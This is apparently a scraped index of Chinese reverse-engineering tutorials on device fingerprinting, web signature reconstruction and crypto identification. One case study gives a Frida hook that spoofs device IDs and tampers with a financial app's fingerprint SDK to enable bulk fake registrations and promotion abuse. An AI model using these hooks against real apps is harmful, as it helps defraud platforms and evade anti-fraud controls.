篡改采集结果实现设备伪装。 背景：某大型电商平台面临大量刷单、虚假评论和薅羊毛行为，需要通过设备指纹识别恶意用户。 技术方案： 1. 指纹采集 public class EcommerceFingerprintCollector { public DeviceFingerprint collect(Context context) { DeviceFingerprint fp = new DeviceFingerprint(); // 基本硬件信息 fp.setAndroidId(getAndroidId(context)); fp.setModel(Build.MODEL); fp.setBrand(Build.BRAND); // 网络信息 fp.setIpAddress(getIPAddress()); fp.setMacAddress(getMacAddress(context)); // App 信息 fp.setInstalledApps(getInstalledApps(context)); // 行为特征 fp.setTouchPressure(collectTouchPressure()); fp.setTypingSpeed(collectTypingSpeed()); // 环境检测 fp.setIsRooted(checkRootStatus()); fp.setIsEmulator(checkEmulatorStatus()); fp.setIsHooked(checkHookStatus()); return fp; } private boolean checkHookStatus() { // 检测 Frida if (checkFridaPort()) return true; if (checkFridaLibraries()) return true; // 检测 Xposed if (checkXposedEnvironment()) return true; return false; } } 2. 风控决策 class EcommerceRiskEngine: def __init__(self): self.fingerprint_db = FingerprintDatabase() self.ml_detector = DeviceAuthenticityClassifier() self.behavior_analyzer = BehaviorSequenceDetector() def check_order_risk(self, user_id, device_fp, order_info): \"\"\"订单风险评估\"\"\" risk_factors = [] risk_score = 0 # 1. 设备指纹检查 device_risk = self.check_device_fingerprint(device_fp) if device_risk['is_suspicious']: risk_factors.append(device_risk) risk_score += 30 # 2. 设备关联分析 related_devices = self.fingerprint_db.find_related_devices(device_fp) if len(related_devices) \u003e 10: risk_factors.append({ 'type': 'device_cluster', 'message': f'Device associated with {len(related_devices)} other devices' }) risk_score += 25 # 3. 用户行为分析 user_behavior = self.fingerprint_db.get_user_behavior(user_id) if self.is_bot_behavior(user_behavior): risk_factors.append({'type': 'bot_behavior'}) risk_score += 35 # 决策 if risk_score \u003e= 60: action = 'reject' elif risk_score \u003e= 40: action = 'manual_review' else: action = 'approve' return { 'action': action, 'risk_score': risk_score, 'risk_factors': risk_factors } ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:7:1","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#案例-1某电商平台设备指纹分析"},{"categories":null,"collections":null,"content":"案例 2：金融 App 风控绕过 💡 思路一句话: 金融 App 风控更严（硬件级检测+行为分析），需要组合方案：Magisk 隐藏 root + 设备信息全量伪造 + 操作行为模拟（随机延迟、滑动轨迹）。 背景：某金融 App 使用顶象设备指纹进行风控，攻击者尝试绕过进行批量注册和薅羊毛。 App 保护措施： 集成顶象 SDK 采集设备指纹 SO 层加固（360 加固） 检测 Root、模拟器、Hook 框架 网络请求签名验证 分析过程： Step 1: 设备指纹 SDK 定位 # 反编译 APK apktool d app.apk # 搜索设备指纹相关代码 grep -r \"getDeviceId\" . grep -r \"fingerprint\" . # 找到 SDK 包名 # com.dingxiang.sdk.fingerprint Step 2: Frida Hook 分析 Java.perform(function() { // Hook 顶象 SDK var DXFingerprint = Java.use(\"com.dingxiang.sdk.fingerprint.DXFingerprint\"); DXFingerprint.getDeviceId.implementation = function() { console.log(\"[*] getDeviceId() called\"); // 返回伪造设备 ID var fakeDeviceId = \"fake_dx_device_id_\" + Math.random().toString(36).substring(7); console.log(\"[*] Returning fake device ID: \" + fakeDeviceId); return fakeDeviceId; }; // Hook 采集方法 DXFingerprint.collect.implementation = function(context) { console.log(\"[*] collect() called\"); // 修改采集数据 var result = this.collect(context); // 篡改指纹数据 modifyFingerprintData(result); return result; }; }); 教训： 单纯的 Hook 不够：需要完整的环境伪装 设备一致性至关重要：所有参数必须逻辑自洽 行为模拟必不可少：纯技术绕过容易被行为分析识破 成本与收益平衡：高质量绕过需要较高成本 ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:7:2","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#案例-2金融-app-风控绕过"},{"categories":null,"collections":null,"content":"总结 成功的绕过，本质上是一场关于\"伪造一个天衣无缝的设备画像\"的持久战。 ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:8:0","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#总结"},{"categories":null,"collections":null,"content":"Web 逆向工程工作流 一个系统化的 Web 逆向分析完整流程，从初步侦查到自动化实现。 ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:0:0","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#web-逆向工程工作流"},{"categories":null,"collections":null,"content":"配方信息 项目 说明 难度 ⭐⭐⭐ (中级) 预计时间 2-8 小时 (根据目标复杂度) 所需工具 Chrome DevTools, Burp Suite (可选), Python/Node.js 适用场景 任何 Web 逆向项目 ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:1:0","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#配方信息"},{"categories":null,"collections":null,"content":"📚 前置知识 在开始本配方之前，建议先掌握以下内容： 知识领域 重要程度 参考资料 Chrome DevTools 基础 必需 浏览器开发者工具 JavaScript 基础 必需 JavaScript 基础 HTTP 协议 推荐 HTTP/HTTPS 协议 Hook 技术基础 推荐 Hook 技术 💡 提示: 本配方是一个系统化的方法论，适合作为所有逆向项目的标准流程参考。建议先完成快速入门系列后再学习本配方。 ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:2:0","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#-前置知识"},{"categories":null,"collections":null,"content":"学习目标 完成本配方后，你将能够： ✅ 系统化地分析任何 Web 应用 ✅ 快速定位关键加密和签名逻辑 ✅ 选择合适的自动化方案 ✅ 构建可复现的逆向流程 ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:3:0","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#学习目标"},{"categories":null,"collections":null,"content":"阶段一：信息收集 (Reconnaissance) ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:4:0","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#阶段一信息收集-reconnaissance"},{"categories":null,"collections":null,"content":"1. 目标确认 明确目标: 要逆向什么功能？登录？数据加密？API 签名？ 合法性检查: 确保在授权范围内进行测试 ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:4:1","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#1-目标确认"},{"categories":null,"collections":null,"content":"2. 技术栈识别 工具: Wappalyzer (浏览器插件): 识别框架、库、服务器 BuiltWith: 查看网站技术栈 手动检查: // Console 中查看全局对象 window.jQuery \u0026\u0026 jQuery.fn.jquery; // jQuery 版本 window.React \u0026\u0026 React.version; // React 版本 window.Vue \u0026\u0026 Vue.version; // Vue 版本 ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:4:2","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#2-技术栈识别"},{"categories":null,"collections":null,"content":"3. 资源枚举 查看 HTML 源代码: Ctrl+U 检查 JavaScript 文件: Sources 面板查看所有 JS 文件 检查网络请求: Network 面板查看 API 端点 ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:4:3","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#3-资源枚举"},{"categories":null,"collections":null,"content":"阶段二：流量分析 (Traffic Analysis) ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:5:0","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#阶段二流量分析-traffic-analysis"},{"categories":null,"collections":null,"content":"1. 抓包分析 目标: 了解客户端与服务器的通信方式 步骤: 打开 DevTools -\u003e Network 面板 清空记录，执行目标操作（如登录、提交表单） 分析请求： 请求方法（GET/POST） 请求参数 请求头（特别是自定义 Header） 响应数据格式 关键问题: 是否有签名参数？（如 sign, signature, token） 时间戳格式？（Unix 时间戳 / 毫秒） 是否有加密数据？（Base64 / Hex 编码特征） ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:5:1","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#1-抓包分析"},{"categories":null,"collections":null,"content":"2. 定位关键请求 在 Network 面板使用过滤器： Filter by keyword: sign, encrypt, token Filter by type: Fetch/XHR ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:5:2","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#2-定位关键请求"},{"categories":null,"collections":null,"content":"阶段三：静态分析 (Static Analysis) ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:6:0","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#阶段三静态分析-static-analysis"},{"categories":null,"collections":null,"content":"1. JavaScript 代码定位 方法一：全局搜索 Ctrl+Shift+F 打开全局搜索 搜索关键词： 参数名：sign, timestamp 加密关键词：encrypt, crypto, MD5, AES API 端点：/api/login 方法二：利用 Network Initiator 在 Network 面板点击目标请求 查看 Initiator 标签页 点击调用链中的文件名，跳转到源码 ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:6:1","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#1-javascript-代码定位"},{"categories":null,"collections":null,"content":"2. 代码美化 如果代码被压缩： DevTools 自动格式化：点击 {} 按钮 在线工具：beautifier.io 如果代码被混淆： 参考 JavaScript 反混淆 ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:6:2","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#2-代码美化"},{"categories":null,"collections":null,"content":"3. 算法识别 常见特征: MD5: 16 字节 输出，通常表示为 32 位十六进制 SHA256: 32 字节 输出，64 位十六进制 AES: 需要密钥和 IV Base64: 结尾可能有 = 填充 ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:6:3","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#3-算法识别"},{"categories":null,"collections":null,"content":"阶段四：动态调试 (Dynamic Analysis) ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:7:0","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#阶段四动态调试-dynamic-analysis"},{"categories":null,"collections":null,"content":"1. 设置断点 断点类型: 行断点: 直接点击行号 条件断点: 右键行号 -\u003e “Add conditional breakpoint” XHR/Fetch 断点: 在 Sources 面板右侧勾选 事件断点: Mouse -\u003e click ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:7:1","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#1-设置断点"},{"categories":null,"collections":null,"content":"2. 追踪参数生成 当断点停下后： 查看 Call Stack (调用栈) 查看 Scope (作用域变量) 单步执行 (F10 / F11)，观察变量变化 ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:7:2","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#2-追踪参数生成"},{"categories":null,"collections":null,"content":"3. Hook 关键函数 // Hook fetch const originalFetch = window.fetch; window.fetch = function (...args) { console.log(\"[Fetch]\", args); return originalFetch.apply(this, arguments); }; // Hook JSON.stringify (常用于构造请求体) const originalStringify = JSON.stringify; JSON.stringify = function (obj) { console.log(\"[JSON.stringify]\", obj); debugger; // 自动断点 return originalStringify.apply(this, arguments); }; ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:7:3","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#3-hook-关键函数"},{"categories":null,"collections":null,"content":"阶段五：逻辑还原 (Logic Reconstruction) ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:8:0","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#阶段五逻辑还原-logic-reconstruction"},{"categories":null,"collections":null,"content":"1. 梳理签名流程 绘制流程图： 用户输入 -\u003e 参数收集 (username, password, timestamp) -\u003e 参数排序 -\u003e 字符串拼接 -\u003e 加盐 (salt) -\u003e 哈希计算 (MD5/SHA256) -\u003e 签名字段 (sign) ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:8:1","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#1-梳理签名流程"},{"categories":null,"collections":null,"content":"2. 提取关键代码 将核心加密/签名函数复制到单独文件，或用 Python/Node.js 重写。 ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:8:2","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#2-提取关键代码"},{"categories":null,"collections":null,"content":"阶段六：自动化实现 (Automation) ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:9:0","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#阶段六自动化实现-automation"},{"categories":null,"collections":null,"content":"方案一：扣 JavaScript 代码 适用场景: 算法复杂，难以还原 工具: Node.js // encrypt.js function generateSign(params) { // 复制的原始代码 let str = Object.keys(params) .sort() .map((k) =\u003e `${k}=${params[k]}`) .join(\"\u0026\"); return md5(str + \"secret_salt\"); } module.exports = { generateSign }; # main.py import execjs import requests with open('encrypt.js', 'r') as f: js_code = f.read() ctx = execjs.compile(js_code) sign = ctx.call('generateSign', {'user': 'admin', 'pass': '123456'}) response = requests.post('https://target.com/api/login', data={'sign': sign}) ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:9:1","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#方案一扣-javascript-代码"},{"categories":null,"collections":null,"content":"方案二：纯 Python 实现 适用场景: 算法简单，可以用 Python 重写 import hashlib import time def generate_sign(params): sorted_params = sorted(params.items()) param_str = '\u0026'.join([f\"{k}={v}\" for k, v in sorted_params]) sign_str = param_str + 'secret_salt' return hashlib.md5(sign_str.encode()).hexdigest() params = { 'username': 'admin', 'password': '123456', 'timestamp': int(time.time()) } params['sign'] = generate_sign(params) ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:9:2","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#方案二纯-python-实现"},{"categories":null,"collections":null,"content":"方案三：RPC 调用浏览器 适用场景: 算法依赖浏览器环境（Canvas 指纹、WebGL 等） 工具: Puppeteer / Selenium // Puppeteer const puppeteer = require(\"puppeteer\"); (async () =\u003e { const browser = await puppeteer.launch(); const page = await browser.newPage(); await page.goto(\"https://target.com\"); const sign = await page.evaluate(() =\u003e { // 调用网页中的加密函数 return window.generateSign({ user: \"admin\" }); }); console.log(\"Sign:\", sign); await browser.close(); })(); ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:9:3","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#方案三rpc-调用浏览器"},{"categories":null,"collections":null,"content":"阶段七：测试与验证 ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:10:0","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#阶段七测试与验证"},{"categories":null,"collections":null,"content":"1. 单元测试 确保提取的算法输出与浏览器一致： import unittest class TestSignGeneration(unittest.TestCase): def test_sign(self): params = {'user': 'test', 'timestamp': 1234567890} sign = generate_sign(params) # 与浏览器中生成的签名对比 self.assertEqual(sign, 'expected_sign_value') ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:10:1","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#1-单元测试"},{"categories":null,"collections":null,"content":"2. 实战测试 使用生成的参数发送实际请求，验证服务器响应。 ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:10:2","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#2-实战测试"},{"categories":null,"collections":null,"content":"常见陷阱 ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:11:0","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#常见陷阱"},{"categories":null,"collections":null,"content":"1. 时间戳同步问题 现象: 签名正确，但服务器返回\"签名过期\" 原因: 服务器校验时间戳，要求与服务器时间误差在几秒内 解决: 使用服务器时间或 NTP 同步 ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:11:1","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#1-时间戳同步问题"},{"categories":null,"collections":null,"content":"2. Nonce 唯一性 现象: 重放请求失败 原因: Nonce（随机数）被服务器记录，重复使用会被拒绝 解决: 每次请求生成新的 UUID ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:11:2","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#2-nonce-唯一性"},{"categories":null,"collections":null,"content":"3. 环境依赖 现象: 扣下的 JS 代码在 Node.js 中报错 原因: 代码依赖浏览器全局对象（window, document, navigator） 解决: Mock 这些对象，或使用 jsdom ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:11:3","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#3-环境依赖"},{"categories":null,"collections":null,"content":"✅ 验证清单 完成以下检查确保逆向成功： ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:12:0","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#-验证清单"},{"categories":null,"collections":null,"content":"阶段验证 ☐ 信息收集完成 ☐ 识别了技术栈和框架 ☐ 枚举了所有关键资源 ☐ 记录了目标功能 ☐ 流量分析完成 ☐ 捕获了关键请求 ☐ 识别了签名/加密参数 ☐ 分析了请求头和响应 ☐ 代码定位完成 ☐ 找到了加密/签名函数 ☐ 理解了参数生成逻辑 ☐ 识别了算法类型 ☐ 动态调试完成 ☐ 成功设置断点 ☐ 追踪了完整调用链 ☐ 提取了关键参数 ☐ 自动化实现完成 ☐ 编写了复现代码 ☐ 测试输出与浏览器一致 ☐ 实际请求成功 ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:12:1","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#阶段验证"},{"categories":null,"collections":null,"content":"故障排除 ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:13:0","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#故障排除"},{"categories":null,"collections":null,"content":"问题：找不到关键代码 症状: 搜索加密关键词无结果 解决方案: 尝试搜索函数调用模式: CryptoJS, btoa, atob 从 Network Initiator 反向追踪 查找混淆后的变量名模式: _0x, __ 使用 XHR 断点自动拦截 ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:13:1","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#问题找不到关键代码"},{"categories":null,"collections":null,"content":"问题：扣下的 JS 代码无法运行 症状: ReferenceError: window is not defined 解决方案: // 在 Node.js 中 Mock 浏览器对象 global.window = global; global.document = {}; global.navigator = { userAgent: \"Mozilla/5.0...\", }; ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:13:2","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#问题扣下的-js-代码无法运行"},{"categories":null,"collections":null,"content":"问题：签名验证失败 症状: 服务器返回 “Invalid signature” 解决方案: 检查参数排序是否正确 检查编码格式 (UTF-8 vs GBK) 检查时间戳精度 (秒 vs 毫秒) 检查是否缺少隐藏参数 使用 diff 工具对比浏览器和代码的输出 ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:13:3","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#问题签名验证失败"},{"categories":null,"collections":null,"content":"最佳实践 ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:14:0","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#最佳实践"},{"categories":null,"collections":null,"content":"1. 分阶段记录 为每个阶段创建笔记文件： analysis/ ├── 01-recon.md # 信息收集记录 ├── 02-traffic.md # 流量分析 ├── 03-code.md # 代码定位 ├── 04-algorithm.md # 算法分析 └── 05-implementation.md # 实现方案 ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:14:1","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#1-分阶段记录"},{"categories":null,"collections":null,"content":"2. 版本控制 git init git add . git commit -m \"Initial analysis\" # 每个阶段提交 git commit -m \"Phase 1: Recon completed\" ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:14:2","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#2-版本控制"},{"categories":null,"collections":null,"content":"3. 测试驱动 先写测试用例，再实现： def test_sign_generation(): # 从浏览器获取的已知值 expected = \"abc123def456\" actual = generate_sign(test_params) assert actual == expected ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:14:3","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#3-测试驱动"},{"categories":null,"collections":null,"content":"总结 Web 逆向工程是一个循环迭代的过程： 信息收集 -\u003e 流量分析 -\u003e 静态分析 -\u003e 动态调试 -\u003e 逻辑还原 -\u003e 自动化 -\u003e 测试 -\u003e (循环) 核心原则: 逐层深入: 从外到内，先了解整体再钻研细节 工具组合: DevTools + Burp Suite + Python 记录文档: 记录关键发现，便于后续参考 测试验证: 每个阶段都要验证正确性 成功标志: ✅ 能够稳定复现目标功能 ✅ 代码输出与浏览器完全一致 ✅ 理解完整的加密/签名流程 ✅ 可以批量自动化执行 ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:15:0","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#总结"},{"categories":null,"collections":null,"content":"相关章节 调试技巧与断点设置 API 接口逆向 JavaScript 反混淆 加密算法识别 Hook 技巧 ","date":"2024-11-20","objectID":"/reverse_engineering/web/03-basic-recipes/re_workflow/:16:0","tags":["Web","签名验证","Canvas指纹","Puppeteer","加密分析","Hook"],"title":"Web 逆向工程工作流","uri":"/reverse_engineering/web/03-basic-recipes/re_workflow/#相关章节"},{"categories":null,"collections":null,"content":"加密算法识别与检测脚本 ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:0:0","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#加密算法识别与检测脚本"},{"categories":null,"collections":null,"content":"概述 在 Web 逆向工程中，识别目标网站使用的加密算法是分析的第一步。通过自动化检测脚本，可以快速定位加密函数调用点、识别算法类型，并提取关键参数。本章介绍加密算法的特征识别、自动检测方法以及实战 Hook 脚本。 ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:1:0","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#概述"},{"categories":null,"collections":null,"content":"加密算法基础知识 ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:2:0","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#加密算法基础知识"},{"categories":null,"collections":null,"content":"常见加密算法分类 1. 散列算法（Hash Functions） 特点: 单向不可逆，固定长度输出 算法 输出长度 特征模式 MD5 128 bit (32 hex) 包含 0x67452301, 0xEFCDAB89 等魔数 SHA-1 160 bit (40 hex) 包含 0x67452301, 0xEFCDAB89 等初始值 SHA-256 256 bit (64 hex) 包含 0x6A09E667, 0xBB67AE85 等常量 SHA-512 512 bit (128 hex) 64 轮运算，特征常量数组 SM3 256 bit (64 hex) 国密算法，初始值 0x7380166F 2. 对称加密算法（Symmetric Encryption） 特点: 加密和解密使用相同密钥 算法 密钥长度 块大小 特征 AES 128/192/256 bit 128 bit S-Box 替换表，MixColumns 混淆 DES 56 bit 64 bit 16 轮 Feistel 结构 3DES 168 bit 64 bit DES 三次迭代 RC4 40-2048 bit 流加密 KSA 和 PRGA 两阶段 SM4 128 bit 128 bit 国密算法，32 轮非线性迭代 3. 非对称加密算法（Asymmetric Encryption） 特点: 公钥加密，私钥解密 算法 密钥长度 应用场景 RSA 1024/2048/4096 bit 数字签名、密钥交换 ECC 256/384/521 bit 移动设备、IoT SM2 256 bit 国密非对称算法 4. 编码算法（Encoding） 注意: 编码不是加密，可逆 算法 特征 Base64 字符集 A-Za-z0-9+/=，长度是 4 的倍数 Base32 